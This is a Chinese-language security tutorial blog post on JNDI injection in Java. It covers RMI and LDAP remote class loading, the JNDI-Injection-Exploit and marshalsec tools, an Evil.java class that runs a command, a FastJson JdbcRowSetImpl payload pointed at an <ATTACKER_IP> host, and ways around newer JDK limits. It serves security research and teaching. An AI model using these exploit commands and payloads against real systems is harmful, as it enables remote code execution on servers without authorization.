【JavaEE安全】JNDI 注入从原理到实战:RMI、LDAP 与高版本绕过

警告:以下内容仅用于安全研究与授权测试,未经许可的攻击行为属于违法行为。


一、JNDI 注入核心原理

1.1 什么是 JNDI

JNDI(Java Naming and Directory Interface)是 Java 提供的一套统一 API,用于在命名/目录服务(如 RMI、LDAP、DNS 等)中查找和访问资源。它的核心操作是 InitialContext.lookup(String name),通过一个字符串名称来定位对象。

1.2 什么是 JNDI 注入

当应用程序对传入 lookup()name 参数缺乏严格校验时,攻击者可以构造恶意的 JNDI 引用(如 rmi://attacker.com/evilldap://attacker.com/evil),诱使目标服务器从攻击者控制的服务器上加载并执行恶意类,从而实现远程代码执行(RCE)。

1.3 利用条件

  • 可控参数InitialContext.lookup() 的参数可被用户输入控制。
  • 服务支持:目标环境支持 RMI、LDAP 等 JNDI 服务实现。
  • 版本限制:JDK 版本限制了攻击方式,详见后文"高版本绕过"。

二、JNDI 注入利用方式:RMI & LDAP

2.1 核心机制:Reference 与远程类加载

JNDI 的 Reference 类是实现注入的关键,它包含三个核心属性:

  • className:要加载的类名。
  • classFactory:实例化工厂类名。
  • classFactoryLocation:远程类的下载地址(如 HTTP 服务器)。

当目标服务器执行 lookup() 时,会根据 Reference 的信息,从指定地址下载并实例化恶意类。

2.2 利用工具:JNDI-Injection & marshalsec

2.2.1 JNDI-Injection-Exploit

快速生成恶意 JNDI 地址,直接执行系统命令。

bash 复制代码
# 生成 RMI/LDAP 恶意地址,执行 calc.exe
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A <ATTACKER_IP>

输出示例:

复制代码
[+] LDAP URL: ldap://<ATTACKER_IP>:1389/xxxxxx
[+] RMI URL:  rmi://<ATTACKER_IP>:1099/xxxxxx
2.2.2 marshalsec

更灵活的工具,可启动恶意 RMI/LDAP 引用服务器,引导目标下载自定义恶意类。

  1. 编写恶意类

    java 复制代码
    // Evil.java
    public class Evil implements javax.naming.spi.ObjectFactory {
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime.getRuntime().exec("calc");
            return null;
        }
    }
  2. 编译

    bash 复制代码
    javac Evil.java
  3. 启动恶意 LDAP 服务器

    bash 复制代码
    # 引导目标从 http://ATTACKER_IP/ 下载 Evil.class
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>/#Evil"
  4. 启动恶意 RMI 服务器

    bash 复制代码
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<ATTACKER_IP>/#Evil"
  5. 触发注入

    java 复制代码
    // 目标代码中存在可控的 lookup 调用
    new InitialContext().lookup("ldap://<ATTACKER_IP>:1389/Evil");

三、实战案例:与 FastJson 反序列化结合

3.1 漏洞原理

FastJson 在反序列化时,会根据 JSON 中的 @type 字段实例化对应类。当 @type 指向 com.sun.rowset.JdbcRowSetImpl 时,其 setDataSourceName() 方法会调用 InitialContext.lookup(),从而触发 JNDI 注入。

3.2 攻击步骤

  1. 判断环境:构造畸形 JSON 触发报错,确认 FastJson 版本及是否存在反序列化漏洞。

  2. 生成恶意地址:使用 JNDI-Injection-Exploit 生成 RMI 地址。

  3. 构造 Payload

    json 复制代码
    {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://<ATTACKER_IP>:1099/Evil",
        "autoCommit": true
    }
  4. 提交 Payload:将 JSON 数据提交至目标,触发反序列化与 JNDI 注入,执行代码。


四、JDK 高版本注入绕过

4.1 JDK 版本限制

JDK 版本 限制项 影响
6u45, 7u21+ useCodebaseOnly=true RMI 禁用远程类加载
6u132, 7u122, 8u113+ trustURLCodebase=false RMI/CORBA 禁用远程 Codebase
6u211, 7u201, 8u191+ ldap.object.trustURLCodebase=false LDAP 禁用远程 Codebase

4.2 绕过思路

在高版本 JDK 中,直接远程加载类的方式被封堵,绕过方法主要有:

  1. 利用本地 Classpath 中的可利用类

    寻找目标环境 Classpath 中已存在的、可被利用的类(如 org.apache.naming.factory.BeanFactory),通过 Reference 构造调用链,间接执行代码。

  2. 利用 LDAP 序列化对象

    marshalsec 等工具支持在 LDAP 响应中直接返回序列化对象。如果目标服务器存在反序列化漏洞(如 Commons Collections),则可以通过 LDAP 注入触发反序列化 RCE,无需远程加载类。

    bash 复制代码
    # marshalsec 启动 LDAP 服务器,直接返回序列化 payload
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPServer

五、总结与延伸

JNDI 注入作为 Java 生态中经典的 RCE 利用链,其核心在于利用 lookup() 对恶意引用的解析。从早期的 RMI/LDAP 远程类加载,到与 FastJson 等反序列化漏洞的结合,再到针对高版本 JDK 的绕过技术,其利用方式不断演进。深入理解其原理和绕过技巧,是掌握 Java 安全攻防的关键。

参考链接


相关推荐
哈泽尔都39 分钟前
运动控制教学——5分钟学会力控算法(阻抗/导纳/力位混合)
c++·python·算法·决策树·贪心算法·机器人·gpu算力
Zero_Era42 分钟前
凌科芯安LKT4304 国密安全芯片 在气象设备系统的应用
网络·物联网·安全
月疯1 小时前
PyTorch 中定义了一个 LeakyReLU 激活函数层
人工智能·pytorch·python
小白学大数据1 小时前
AI 智能爬虫实战:Selenium+Python 自动绕反爬、一键提取数据
爬虫·python·selenium·数据分析
DreamLife☼1 小时前
OpenBCI-实战二:脑波控制小游戏开发
python·pygame·openbci·cyton·ganglion
smj2302_796826521 小时前
解决leetcode第3948题字典序最大的MEX数组
python·算法·leetcode
程序大视界1 小时前
【Python系列课程】Pandas(六):数据读写——CSV与Excel文件操作
python·excel·pandas
星幻元宇VR1 小时前
消防安全教育体验展厅设备【模拟灭火系统】
科技·学习·安全
weixin_407443872 小时前
OCR材料信息提取工具(附件中含代码和数据)
人工智能·python·计算机视觉·ocr
Geek_Vison2 小时前
技术实践:保险健康APP引入第三方小程序实战,如何构建一个安全可控的沙箱环境~
android·安全·小程序·uni-app·mpaas